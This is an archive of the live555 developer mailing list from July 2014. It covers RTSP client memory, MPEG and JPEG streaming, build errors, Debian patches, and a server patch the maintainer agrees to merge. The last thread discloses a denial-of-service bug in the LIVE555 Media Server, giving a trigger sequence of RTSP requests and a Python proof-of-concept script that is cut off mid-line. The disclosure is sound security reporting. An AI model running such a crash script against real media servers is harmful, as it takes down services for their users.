From gbadhan at interfaceinfosoft.com Wed Jul 2 22:46:34 2014 From: gbadhan at interfaceinfosoft.com (Gaurav Badhan) Date: Thu, 3 Jul 2014 11:16:34 +0530 Subject: [Live-devel] Live555 support for RTSP over HTTPS tunneling Message-ID: Does Live555 support RTSP over HTTPS tunneling? Regards, G Badhan -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Wed Jul 2 23:40:02 2014 From: finlayson at live555.com (Ross Finlayson) Date: Wed, 2 Jul 2014 23:40:02 -0700 Subject: [Live-devel] Live555 support for RTSP over HTTPS tunneling In-Reply-To: References: Message-ID: > Does Live555 support RTSP over HTTPS tunneling? No, because in the code (unlike the implementation of regular RTSP-over-TCP) the HTTPS connection is currently specified only by a port number, not by the number of an existing socket. Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From piers.hawksley at panogenics.com Thu Jul 3 04:17:34 2014 From: piers.hawksley at panogenics.com (Piers Hawksley) Date: Thu, 03 Jul 2014 12:17:34 +0100 Subject: [Live-devel] Separating Transport Stream IDs from PES IDs In-Reply-To: References: <53A07073.9070008@panogenics.com> <53AD5493.1060605@panogenics.com> <411F1420-82DA-4033-B58D-EA335AD651B1@live555.com> <53B19254.4030705@panogenics.com> Message-ID: <53B53BCE.1000602@panogenics.com> Many Thanks Ross, We look forward to the next release. Sorry for the delay in posting this, we're very glad you've accepted the patch; but I didn't want to start July's thread with a disconnected post with no technical content ! Cheers, Piers From cuonglm1489 at gmail.com Fri Jul 4 04:14:22 2014 From: cuonglm1489 at gmail.com (=?UTF-8?B?Q8aw4budbmcgTMOq?=) Date: Fri, 4 Jul 2014 18:14:22 +0700 Subject: [Live-devel] RTSPClient Message-ID: Hi all! I'm using your lib live555, in example testRTSPClient I have a problem when free memory RTSPClient.When I creat new RTSPClient, I check memory RAM is 13000. After, I have called funtion Media::close(RTSPClient) but memory Ram is 13000. I creat other new RTSPClient, memory RAM is 21000 and don't less memory. I thinks Media::close(RTSPClient) don't free memory of RTSPClient. Can you help me to free memory RTSPClient! Thank you very much! -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Fri Jul 4 14:41:47 2014 From: finlayson at live555.com (Ross Finlayson) Date: Fri, 4 Jul 2014 14:41:47 -0700 Subject: [Live-devel] RTSPClient In-Reply-To: References: Message-ID: > I thinks Media::close(RTSPClient) don't free memory of RTSPClient. "Medium::close()" definitely does delete the "RTSPClient" object. But remember that there are many other objects - the media sink, the "MediaSession" object, etc. - all of which are closed by the "testRTSPClient" code. Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From cuonglm1489 at gmail.com Fri Jul 4 20:34:18 2014 From: cuonglm1489 at gmail.com (=?UTF-8?B?Q8aw4budbmcgTMOq?=) Date: Sat, 5 Jul 2014 10:34:18 +0700 Subject: [Live-devel] RTSPClient In-Reply-To: References: Message-ID: Thank you for reply! I has called Media::close(session), close(session->sink), close(rtspClient) but memory of RAM still constant. When I stop, I called fution stopWorking(void*); When I try to delete MyRTSPClient but it can't. I attached my class. Can you find problemt in my source! Thank you very much! 2014-07-05 4:41 GMT+07:00 Ross Finlayson : > I thinks Media::close(RTSPClient) don't free memory of RTSPClient. > > > "Medium::close()" definitely does delete the "RTSPClient" object. But > remember that there are many other objects - the media sink, the > "MediaSession" object, etc. - all of which are closed by the > "testRTSPClient" code. > > > Ross Finlayson > Live Networks, Inc. > http://www.live555.com/ > > > _______________________________________________ > live-devel mailing list > live-devel at lists.live555.com > http://lists.live555.com/mailman/listinfo/live-devel > > -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: MyRTSPClient.h Type: text/x-chdr Size: 2376 bytes Desc: not available URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: MyRTSPClient.cpp Type: text/x-c++src Size: 15734 bytes Desc: not available URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: StreamClientState.h Type: text/x-chdr Size: 479 bytes Desc: not available URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: StreamClientState.cpp Type: text/x-c++src Size: 573 bytes Desc: not available URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: OurRTSPClient.h Type: text/x-chdr Size: 740 bytes Desc: not available URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: OurRTSPClient.cpp Type: text/x-c++src Size: 684 bytes Desc: not available URL: From cuonglm1489 at gmail.com Sun Jul 6 23:37:31 2014 From: cuonglm1489 at gmail.com (=?UTF-8?B?Q8aw4budbmcgTMOq?=) Date: Mon, 7 Jul 2014 13:37:31 +0700 Subject: [Live-devel] (no subject) Message-ID: Hi ! I'm working with stream codec MPEG4 and I'm using your lib live555. I has getted data of config of SDP. How to I get witdth and height video of stream MPEG4 from data of config? Can you hepl me! Thank you ! -------------- next part -------------- An HTML attachment was scrubbed... URL: From hh3.kim at samsung.com Mon Jul 7 17:26:37 2014 From: hh3.kim at samsung.com (=?euc-kr?B?sejH9sij?=) Date: Tue, 08 Jul 2014 00:26:37 +0000 (GMT) Subject: [Live-devel] catch statement in MPEG1or2Demux.cpp Message-ID: An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: 201407080926826_XOK0LK7C.gif Type: image/gif Size: 13168 bytes Desc: not available URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: live555_modification.diff Type: application/octet-stream Size: 7388 bytes Desc: not available URL: From raimondo at ismb.it Tue Jul 8 01:09:46 2014 From: raimondo at ismb.it (Nadir Raimondo) Date: Tue, 08 Jul 2014 10:09:46 +0200 Subject: [Live-devel] live555MediaServer refresh Message-ID: <53BBA74A.90909@ismb.it> Dear all, we are trying to use the live555MediaServer to stream MPEG2 transport stream files which size grow continuously due to a separated process that appends data to both transport stream (.ts) and transport stream index files (.tsx). After the first RTSP request (DESCRIBE or PLAY) the server seems to parse the tsx file and saves the transport stream duration (inside a Server Media Session?). All the subsequent DESCRIBE requests return the saved time range even if the file duration is grown. If a PLAY request with npt > duration is generated the server seek only to the last saved duration ignoring the actual npt. We know that this is the desired behavior but we need the media server to dynamically update the file duration. Does anyone know if this is possible? In order to do so, we have tried to modify DynamicRTSPServer.cpp in function lookupServerMediaSession: instead of using pre existent Server Media Session we remove and recreate it at each incoming RTSP request. The original code was: ServerMediaSession* DynamicRTSPServer::lookupServerMediaSession(char const* streamName) { // First, check whether the specified "streamName" exists as a local file: FILE* fid = fopen(streamName, "rb"); Boolean fileExists = fid != NULL; // Next, check whether we already have a "ServerMediaSession" for this file: ServerMediaSession* sms = RTSPServer::lookupServerMediaSession(streamName); Boolean smsExists = sms != NULL; // Handle the four possibilities for "fileExists" and "smsExists": if (!fileExists) { if (smsExists) { // "sms" was created for a file that no longer exists. Remove it: removeServerMediaSession(sms); } return NULL; } else { if (!smsExists) { // Create a new "ServerMediaSession" object for streaming from the named file. sms = createNewSMS(envir(), streamName, fid); addServerMediaSession(sms); } fclose(fid); return sms; } } Our modified version is: ServerMediaSession* DynamicRTSPServer::lookupServerMediaSession(char const* streamName) { // First, check whether the specified "streamName" exists as a local file: FILE* fid = fopen(streamName, "rb"); Boolean fileExists = fid != NULL; // Next, check whether we already have a "ServerMediaSession" for this file: ServerMediaSession* sms = RTSPServer::lookupServerMediaSession(streamName); Boolean smsExists = sms != NULL; // Handle the four possibilities for "fileExists" and "smsExists": if (!fileExists) { if (smsExists) { // "sms" was created for a file that no longer exists. Remove it: removeServerMediaSession(sms); } return NULL; } else { if(smsExists) { removeServerMediaSession(sms); sms=NULL; } sms = createNewSMS(envir(), streamName, fid); addServerMediaSession(sms); fclose(fid); return sms; } } This way it seems to work, but we are not sure if we did it in the right way. Actually we are worried about possible concurrency issues (e.g. what if a new request deleting a previous session that is still in use?). Do you think we can go on using this little hack or we should approach the problem in another way? Thanks in advance Nadir -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Tue Jul 8 16:08:56 2014 From: finlayson at live555.com (Ross Finlayson) Date: Tue, 8 Jul 2014 16:08:56 -0700 Subject: [Live-devel] catch statement in MPEG1or2Demux.cpp In-Reply-To: References: Message-ID: <88757B92-A398-4215-BB7D-3E731C95A39D@live555.com> No, I'm not going to make major, widespread changes to perfectly good (non-buggy) code, just to work around bugs in one old compiler. (Note that the use of the "StreamParser" code extends far beyond just "MPEGProgramStreamParser".) Exceptions in C++ are a part of the language - just like function calls and "if" statements. They (despite their name) are not 'errors', and compilers should not be reporting them as such. I suggest that you upgrade to a different compiler (or a different OS; this is 2014, after all :-) Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Tue Jul 8 20:44:03 2014 From: finlayson at live555.com (Ross Finlayson) Date: Tue, 8 Jul 2014 20:44:03 -0700 Subject: [Live-devel] live555MediaServer refresh In-Reply-To: <53BBA74A.90909@ismb.it> References: <53BBA74A.90909@ismb.it> Message-ID: <6D6A699B-475C-4496-BA5A-858BAC0C8AD3@live555.com> The purpose of a Transport Stream file's 'index file' (i.e., ".tsx" file) is to support 'trick play' operations - i.e., seek, fast-forward, reverse play - on the stream. If you don't have an index file, then the server can still stream the file, but only from the beginning, without any 'trick play' operation. Do you really intend to allow a client to request a 'trick play' operation on a stream, while its underlying file is still growing? If not, then you don't need to create or use an index file at all. > Do you think we can go on using this little hack If you do, then you should do so using your own copy of the code - using a different class name than "DynamicRTSPServer" - so that it will not be affected by any modifications to the released "LIVE555 Streaming Media" code. (In any case, of course, your changes will be subject to the LGPL.) Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Tue Jul 8 21:00:10 2014 From: finlayson at live555.com (Ross Finlayson) Date: Tue, 8 Jul 2014 21:00:10 -0700 Subject: [Live-devel] live555MediaServer refresh In-Reply-To: <53BBA74A.90909@ismb.it> References: <53BBA74A.90909@ismb.it> Message-ID: Actually, thinking about this a bit more - I'm going to include your 'hack' in the next release of the "LIVE555 Streaming Media" software, because it's generally useful - for any type of file - if the underlying file has changed since the last time that it was requested. > This way it seems to work, but we are not sure if we did it in the right way. Actually we are worried about possible concurrency issues (e.g. what if a new request deleting a previous session that is still in use?). No, that's not a problem. "removeServerMediaSession()" doesn't actually delete the object if an existing client is still using the old one. (The object won't get deleted until that client's stream gets closed.) Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From hh3.kim at samsung.com Tue Jul 8 21:54:16 2014 From: hh3.kim at samsung.com (=?euc-kr?B?sejH9sij?=) Date: Wed, 09 Jul 2014 04:54:16 +0000 (GMT) Subject: [Live-devel] compile error on 2014.0704 version in windows visual studio Message-ID: An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: 201407091354551_BEI0XT4N.gif Type: image/gif Size: 13168 bytes Desc: not available URL: From finlayson at live555.com Tue Jul 8 22:19:27 2014 From: finlayson at live555.com (Ross Finlayson) Date: Tue, 8 Jul 2014 22:19:27 -0700 Subject: [Live-devel] compile error on 2014.0704 version in windows visual studio In-Reply-To: References: Message-ID: <556DA3D7-792C-4DE0-B686-F5CF9AFDE4BB@live555.com> > Maybe you should add following typedef for int16_t. > /* Definitions of size-specific types: */ > typedef short int16_t; > Yes, this will be added to the next release of the software. Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From teo at mios.com Wed Jul 9 06:55:01 2014 From: teo at mios.com (Teo Deleanu) Date: Wed, 9 Jul 2014 16:55:01 +0300 Subject: [Live-devel] Mp4 playable in all video players Message-ID: Hello, I have an mp4 file outputed from openRtsp code(1.mp4) that plays only in Chrome and VLC. This file does not contain errors or atom issues according to AtomicParsley or MP4Box. After conversion with MP4Box(2.mp4) it`s playable in all players and browsers. File 2.mp4 removed all audio headers from 1.mp4(PCMU audio not supported). Here are the files and XML image atoms: https://drive.google.com/file/d/0B1PjTATUTgynQTVyX2lmQXNGNlU/edit?usp=sharing https://drive.google.com/file/d/0B1PjTATUTgynRm96bEN3aFlHQ0E/edit?usp=sharing https://drive.google.com/file/d/0B1PjTATUTgynbjZZeU9uZGI0R1U/edit?usp=sharing https://drive.google.com/file/d/0B1PjTATUTgyncC1VQXNnUWtZX3M/edit?usp=sharing The integration of GPAC is too dificult at this level. Parameters to call similar to: openRTSP -4 rtsp_camera_link > out.mp4 Note that the MP4 format was changed and the moov atom was added at beggining of the file but still no play in Mozilla and IE. Can anyone help me to diagnose the format and repair code? Of course we can discuss a form of benefit for this. Teo Deleanu - Software EngineerMiOS Ltd - 16 Poitiers, 2nd Floor, Iasi, Romania, 700671 [image: MiOS_BC_Logo_RGB_rF.png] www.mios.com O: +40.0332.803.797 Email: teo at mios.com Skype: mios.teo -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Wed Jul 9 11:22:58 2014 From: finlayson at live555.com (Ross Finlayson) Date: Wed, 9 Jul 2014 11:22:58 -0700 Subject: [Live-devel] Mp4 playable in all video players In-Reply-To: References: Message-ID: <2EEB94D7-98D7-40C8-B4E4-AE0D72CE54EB@live555.com> Both "1.mp4" and "2.mp4" played OK for me with both VLC and QuickTime Player (on Mac OS X). However, in QuickTime Player there was a green band at the bottom of the window - which suggests that perhaps you gave "openRTSP" incorrect height and width (i.e., "-w ", "-h ") options. Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From teo at mios.com Wed Jul 9 23:07:36 2014 From: teo at mios.com (Teo Deleanu) Date: Thu, 10 Jul 2014 09:07:36 +0300 Subject: [Live-devel] Mp4 playable in all video players In-Reply-To: <2EEB94D7-98D7-40C8-B4E4-AE0D72CE54EB@live555.com> References: <2EEB94D7-98D7-40C8-B4E4-AE0D72CE54EB@live555.com> Message-ID: The problem appears when embeding the file in HTML tag and trying to play in firefox/IE. On Chrome player it works. Teo Deleanu - Software EngineerMiOS Ltd - 16 Poitiers, 2nd Floor, Iasi, Romania, 700671 [image: MiOS_BC_Logo_RGB_rF.png] www.mios.com O: +40.0332.803.797 Email: teo at mios.com Skype: mios.teo On Wed, Jul 9, 2014 at 9:22 PM, Ross Finlayson wrote: > Both "1.mp4" and "2.mp4" played OK for me with both VLC and QuickTime > Player (on Mac OS X). > > However, in QuickTime Player there was a green band at the bottom of the > window - which suggests that perhaps you gave "openRTSP" incorrect height > and width (i.e., "-w ", "-h ") options. > > > Ross Finlayson > Live Networks, Inc. > http://www.live555.com/ > > > _______________________________________________ > live-devel mailing list > live-devel at lists.live555.com > http://lists.live555.com/mailman/listinfo/live-devel > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Wed Jul 9 23:20:18 2014 From: finlayson at live555.com (Ross Finlayson) Date: Wed, 9 Jul 2014 23:20:18 -0700 Subject: [Live-devel] Mp4 playable in all video players In-Reply-To: References: <2EEB94D7-98D7-40C8-B4E4-AE0D72CE54EB@live555.com> Message-ID: <55D21AAD-CB98-4205-97DC-8B49D20C2C06@live555.com> > The problem appears when embeding the file in HTML tag and trying to play in firefox/IE. Perhaps if you ask about this on a Firefox mailing list, someone there will be able to tell you why it doesn't play the file. Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From kvy25 at yahoo.com Sun Jul 13 00:08:01 2014 From: kvy25 at yahoo.com (victor kulichkin) Date: Sun, 13 Jul 2014 00:08:01 -0700 Subject: Bug in LIVE555 Streaming Media source 2014.07.12 Message-ID: <1405235281.18579.YahooMailNeo@web160406.mail.bf1.yahoo.com> Hi, today I have tried to bulid? LIVE555 Streaming Media via wingw and got the bug: /////////////////////////// $ make -e CC=gcc ....... ?c:\progra~2\codeblocks\mingw\bin\../lib/gcc/mingw32/4.7.1/../../../../include/st dint.h:27:21: error: conflicting declaration 'typedef signed char int8_t' In file included from include/NetAddress.hh:29:0, ???????????????? from include/NetInterface.hh:25, ???????????????? from include/Groupsock.hh:29, ???????????????? from Groupsock.cpp:20: include/NetCommon.h:67:14: error: 'int8_t' has a previous declaration as 'typede f char int8_t' //////////////////////////////////// Virsion of gcc $ gcc --version gcc.exe (tdm-1) 4.7.1 Copyright (C) 2012 Free Software Foundation, Inc. This is free software; see the source for copying conditions.? There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. regards, victor -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Sun Jul 13 05:11:44 2014 From: finlayson at live555.com (Ross Finlayson) Date: Sun, 13 Jul 2014 05:11:44 -0700 Subject: [Live-devel] Bug in LIVE555 Streaming Media source 2014.07.12 In-Reply-To: References: Message-ID: <35E1C668-B2E8-48B3-8CB3-B8821569DBFB@live555.com> Sorry about that; this is fixed now in the latest release (2014.07.13). Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From marillat at deb-multimedia.org Mon Jul 14 02:21:31 2014 From: marillat at deb-multimedia.org (Christian Marillat) Date: Mon, 14 Jul 2014 11:21:31 +0200 Subject: [Live-devel] Debian patches Message-ID: <87ha2kz46c.fsf@christian.marillat.net> Hi, Could you review and include if you agree, these patches from Debian ? ,---- | Description: Fix invalid cast from (short) integers to void pointers. | http://sources.debian.net/src/liblivemedia/2014.01.13-1/debian/patches/020_invalid_casts.patch `---- ,---- | ip_mreq_source is defined in all glibc not just on kfreebsd. | http://sources.debian.net/src/liblivemedia/2014.01.13-1/debian/patches/021_ip_mreq_source.patch `---- ,---- | Add a pkg-config file for the shared libraries. | http://sources.debian.net/src/liblivemedia/2014.01.13-1/debian/patches/add-pkgconfig-file.patch `---- ,---- | Link shared libraries with g++ instead of gcc to fix build failure. | http://sources.debian.net/src/liblivemedia/2014.01.13-1/debian/patches/link-library-with-g%2B%2B.patch `---- Christian From m.porsch at intenta.de Mon Jul 14 04:51:06 2014 From: m.porsch at intenta.de (Marco Porsch) Date: Mon, 14 Jul 2014 11:51:06 +0000 Subject: [Live-devel] JPEG video with grayscale frames Message-ID: <86df4ca646894e858a14b650319bb620@DB4PR04MB442.eurprd04.prod.outlook.com> Hello, I would like to report a bug concerning JPEG video streaming in live555. I can successfully stream 3-component (color) images using a modified version of testOnDemandRTSPServer.cpp and custom JPEG source and subsession classes. I am able to successfully receive the stream using VLC media player. But if I encode my frames as 1-component (grayscale) images, VLC displays only nonsense. When dumping my encoded JPEG images on the server side they are alright. I tested the streamed data on the receiver side using ?openRTSP? with the ??m? switch. The still images also contain only nonsense data. Upon further examination I found that the JPEG headers on the receiver side proclaim to contain 3-component (24bit) image data. Upon digging into the live555 sources I found that in JPEGVideoRTPSource.cpp in the function createJPEGHeader() e.g. in line 235 the header is always constructed for 3-component images. Cheers, Marco Porsch Software engineer ________________________________ [cid:image001.png at 01CD8827.2F1E2820] Fon: +49(0)371 5347 760 ? Fax: +49(0)371 5347 761 m.porsch at intenta.de ? http://www.intenta.de Intenta GmbH ? Annaberger Stra?e 240 ? 09125 Chemnitz, Germany Gesch?ftsf?hrer: Dr.-Ing. Basel Fardi HRB 26404 Amtsgericht Chemnitz -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: image001.gif Type: image/gif Size: 1817 bytes Desc: image001.gif URL: From finlayson at live555.com Mon Jul 14 08:06:05 2014 From: finlayson at live555.com (Ross Finlayson) Date: Mon, 14 Jul 2014 08:06:05 -0700 Subject: [Live-devel] Debian patches In-Reply-To: <87ha2kz46c.fsf@christian.marillat.net> References: <87ha2kz46c.fsf@christian.marillat.net> Message-ID: > Could you review and include if you agree, these patches from Debian ? > > ,---- > | Description: Fix invalid cast from (short) integers to void pointers. > | http://sources.debian.net/src/liblivemedia/2014.01.13-1/debian/patches/020_invalid_casts.patch > `---- OK, in the next version of our software, I'll change our code so that these compiler warning(?) messages will no longer occur. > ,---- > | ip_mreq_source is defined in all glibc not just on kfreebsd. > | http://sources.debian.net/src/liblivemedia/2014.01.13-1/debian/patches/021_ip_mreq_source.patch > `---- No. The problem here is your header files; not our code. (As far as I can tell, no other version of Linux - nor any other OS - has any problem with our existing code.) It makes no sense for "struct ip_mreq_source" to be defined, but not "IP_ADD_SOURCE_MEMBERSHIP", because the whole purpose of "struct ip_mreq_source" is for setting "IP_ADD_SOURCE_MEMBERSHIP" (or "IP_DROP_SOURCE_MEMBERSHIP") in a 'setsockopt()' call. Therefore, you need to find whichever of your header files defines "struct ip_mreq_source", and make sure that it also defines (or #includes a header file that defines) "IP_ADD_SOURCE_MEMBERSHIP" and "IP_DROP_SOURCE_MEMBERSHIP". > ,---- > | Add a pkg-config file for the shared libraries. > | http://sources.debian.net/src/liblivemedia/2014.01.13-1/debian/patches/add-pkgconfig-file.patch > `---- To date, noone other than 'Debian' has asked for a 'pkgconfig' file. Unless/until someone else also wants this for their (non-Debian) OS, I'll leave this as a Debian-specific patch, at least for now. > ,---- > | Link shared libraries with g++ instead of gcc to fix build failure. > | http://sources.debian.net/src/liblivemedia/2014.01.13-1/debian/patches/link-library-with-g%2B%2B.patch > `---- Noone else has had any problems with the existing "config.linux" configuration file. Are you sure that *all* versions of Linux will define "$(CC)" and "$(CXX)", so that the "config.linux" file - if modified according to your patch - would work on *all* versions of Linux? (If not, then feel, if you wish, to propose a new "config-debian-linux" configuration that's specific to 'Debian'.) Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Mon Jul 14 08:12:01 2014 From: finlayson at live555.com (Ross Finlayson) Date: Mon, 14 Jul 2014 08:12:01 -0700 Subject: [Live-devel] JPEG video with grayscale frames In-Reply-To: <86df4ca646894e858a14b650319bb620@DB4PR04MB442.eurprd04.prod.outlook.com> References: <86df4ca646894e858a14b650319bb620@DB4PR04MB442.eurprd04.prod.outlook.com> Message-ID: <03984B37-4732-4658-9A6C-7E36DEC5A110@live555.com> The problem here is that RFC 2435 - the document that describes the RTP payload format for JPEG video streaming - is specifically for 3-component JPEG. There is no RTP payload format defined for streaming JPEG with other than 3 components. Sorry. Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From david.cassany at i2cat.net Tue Jul 15 01:45:55 2014 From: david.cassany at i2cat.net (David Cassany Viladomat) Date: Tue, 15 Jul 2014 10:45:55 +0200 Subject: [Live-devel] use ServerMediaSubsession for RTP & RTCP streaming Message-ID: Hi all, I have some doubts on how to use the OnDemandServerMediaSubsession class. I am actually using it (we defined a very simple extension of it adapted to our data source) to stream via RTSP without any issue, it works like charm. Now I am trying to achieve is to be able to stream the same source via RTSP (to any client that connects to the rtsp url) and via an static RTP/RTCP session (by static I mean that I want the server to stream to an specific IP and port, passed as a command argument for instance)*. * I want to stream to the static destination usign the same Subsession (this way I expect to not have to worry about concurrent RTPSinks getting frames from the same source). At the moment I am using: subsession->getStreamParameters(clientSessionId, addr, port, port + 1, -1, 0, 0, dstAddr, destinationTTL, multicast, serverRTPPort, serverRTCPPort, streamState); subsession->startStream(clientSessionId, streamState, NULL, NULL, rtpSeqNum, rtpTimestamp, NULL, NULL); //where addr and port are the IP adress and port I want to stream to, multicast is False, TTL = 255 adn streamState just a pointer where I keep the StreamState reference for later use. These two lines executes without failure, and debugging them I think they run as expected, but after executing it does not stream. I have the feeling I miss something else to actually start streaming, does anyone have a clue? Thanks in advance for any hint, David -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Tue Jul 15 06:37:52 2014 From: finlayson at live555.com (Ross Finlayson) Date: Tue, 15 Jul 2014 06:37:52 -0700 Subject: [Live-devel] use ServerMediaSubsession for RTP & RTCP streaming In-Reply-To: References: Message-ID: > I have some doubts on how to use the OnDemandServerMediaSubsession class. I am actually using it (we defined a very simple extension of it By "extension of it", I hope you mean "subclass of it". (Generally speaking, if you modify the supplied code, you can't expect support on this mailing list.) > Now I am trying to achieve is to be able to stream the same source via RTSP (to any client that connects to the rtsp url) and via an static RTP/RTCP session (by static I mean that I want the server to stream to an specific IP and port, passed as a command argument for instance). OK, it sounds like - for this purpose - you want to use a "PassiveServerMediaSubsession", not an "OnDemandServerMediaSubsession". An "OnDemandServerMediaSubsession" is explicitly intended for streaming, on demand, to a different unicast IP address and port (i.e., different for each requesting client). Therefore that's *not* what you should be using here. A "PassiveServerMediaSubsession", however, is used for streaming to an IP address (usually multicast, though it can be unicast) and port number that is specified externally (i.e., not by each requesting client). Thus, it sounds like this is what you want. Note that - when using a "PassiveServerMediaSubsession" - the "RTPSink" and "RTCPInstance" objects are also set up ahead of time (rather than on demand, for each requesting client). There are several examples of this in the code; note the various "test*Streamer.cpp" demo applications in "testProgs". > At the moment I am using: > > subsession->getStreamParameters(...); > > subsession->startStream(...); No, your own code should not be calling these functions at all! Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Tue Jul 15 07:35:24 2014 From: finlayson at live555.com (Ross Finlayson) Date: Tue, 15 Jul 2014 07:35:24 -0700 Subject: [Live-devel] use ServerMediaSubsession for RTP & RTCP streaming In-Reply-To: References: Message-ID: <23B2FF8A-EAA4-4EE9-B129-BABD05C7AABE@live555.com> > Now I am trying to achieve is to be able to stream the same source via RTSP (to any client that connects to the rtsp url) and via an static RTP/RTCP session (by static I mean that I want the server to stream to an specific IP and port, passed as a command argument for instance). Reading this again, I suspect that - because, in the second case, your clients won't be using RTSP - you wouldn't use a "PassiveServerMediaSubsession", or *any* subclass of "ServerMediaSubsession" for this. (The "ServerMediaS*ession" classes are used specifically to implement RTSP servers.) Instead, I suspect that you'll want to 'replicate' your original stream source using the "StreamReplicator" class (see the "testReplicator" demo application for an example of how to use this). One replica will be used as a source to your "OnDemandServerMediaSubsession" subclass (with "reuseFirstSource" as "True") - for streaming to your normal RTSP clients. The other replica would be fed directly into a "RTPSink" (subclass) object that you'd create (along with a "RTCPInstance") as a result of your command-line argument. But anyway, why bother streaming "to an specific IP and port, passed as a command argument for instance"? Why complicate your life unnecessarily? Why not just use RTSP for everything? Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From yann.fleutot at stormshield.eu Tue Jul 15 08:25:56 2014 From: yann.fleutot at stormshield.eu (Yann FLEUTOT) Date: Tue, 15 Jul 2014 17:25:56 +0200 (CEST) Subject: [Live-devel] DoS in Media Server In-Reply-To: <108449115.2461371.1405437138049.JavaMail.zimbra@stormshield.eu> Message-ID: <1853927916.2463386.1405437956901.JavaMail.zimbra@stormshield.eu> Hello LIVE555 team, Forging my own requests for testing purposes, I recently found a DoS vulnerability in the media server. Do you want me to give the details as well as an exploit script here on this mailing-list or privately? Yann Fleutot Stormshield Network Security developer Arkoon Netasq 49 rue Billancourt - FR 92100 Boulogne-Billancourt Twitter - LinkedIn - www.stormshield.eu -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: image001.png Type: image/png Size: 7129 bytes Desc: not available URL: From finlayson at live555.com Tue Jul 15 10:58:34 2014 From: finlayson at live555.com (Ross Finlayson) Date: Tue, 15 Jul 2014 10:58:34 -0700 Subject: [Live-devel] DoS in Media Server In-Reply-To: <1853927916.2463386.1405437956901.JavaMail.zimbra@stormshield.eu> References: <1853927916.2463386.1405437956901.JavaMail.zimbra@stormshield.eu> Message-ID: <1EA68CE5-8F8C-40AB-A524-989876D424BF@live555.com> Please post the details here. If the issue is significant, then we'll update the code, and people will be encouraged to upgrade. Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From yann.fleutot at stormshield.eu Wed Jul 16 01:11:35 2014 From: yann.fleutot at stormshield.eu (Yann FLEUTOT) Date: Wed, 16 Jul 2014 10:11:35 +0200 (CEST) Subject: [Live-devel] DoS in Media Server In-Reply-To: <1EA68CE5-8F8C-40AB-A524-989876D424BF@live555.com> References: <1853927916.2463386.1405437956901.JavaMail.zimbra@stormshield.eu> <1EA68CE5-8F8C-40AB-A524-989876D424BF@live555.com> Message-ID: <1289393643.2531447.1405498295316.JavaMail.zimbra@stormshield.eu> Ok, here are the details: DESCRIPTION An RTSP client can make the LIVE555 Media Server crash by renegociating transport parameters. PRODUCTS IMPACTED LIVE555 Media Server ( http://www.live555.com/mediaServer/ ). At minimum v0.74 (2011.12.23) to the most recent version to date v0.82 (2014.03.16). TECHNICAL DETAILS The following sequence of requests causes the DoS: 1. DESCRIBE (optionally) 2. SETUP (e.g. audio track) 3. SETUP (e.g. video track) 4. PLAY 5. SETUP (any of the previously opened tracks) 6. PLAY Adding a PAUSE request between steps 4 and 5 works around the problem. However, RFC 2326 (RTSP) specifies in chapter ?A.2 Server State Machine? that a SETUP request can actually be issued in the ?Playing? state. The following Python script reproduces the vulnerability. import socket import re host = ("172.17.44.20", 554) url = "rtsp://172.17.44.20/brasilccmovie.mpg" def send(msg): if (send.session != ''): msg += "Session: " + send.session + "\r\n" msg += "CSeq: " + str(send.cseq) + "\r\n" msg += "\r\n" s.send(msg) send.cseq += 1 reply = s.recv(1000) match = re.search('Session: ([^\r;]*)', reply, re.DOTALL) if (match): send.session = match.group(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(0.5) s.connect(host) send.session = '' send.cseq = 1 #send("DESCRIBE " + url + " RTSP/1.0\r\nAccept: application/sdp\r\n") send("SETUP " + url + "/track1 RTSP/1.0\r\nTransport: RTP/AVP/UDP;unicast;client_port=34000-34001\r\n") send("SETUP " + url + "/track2 RTSP/1.0\r\nTransport: 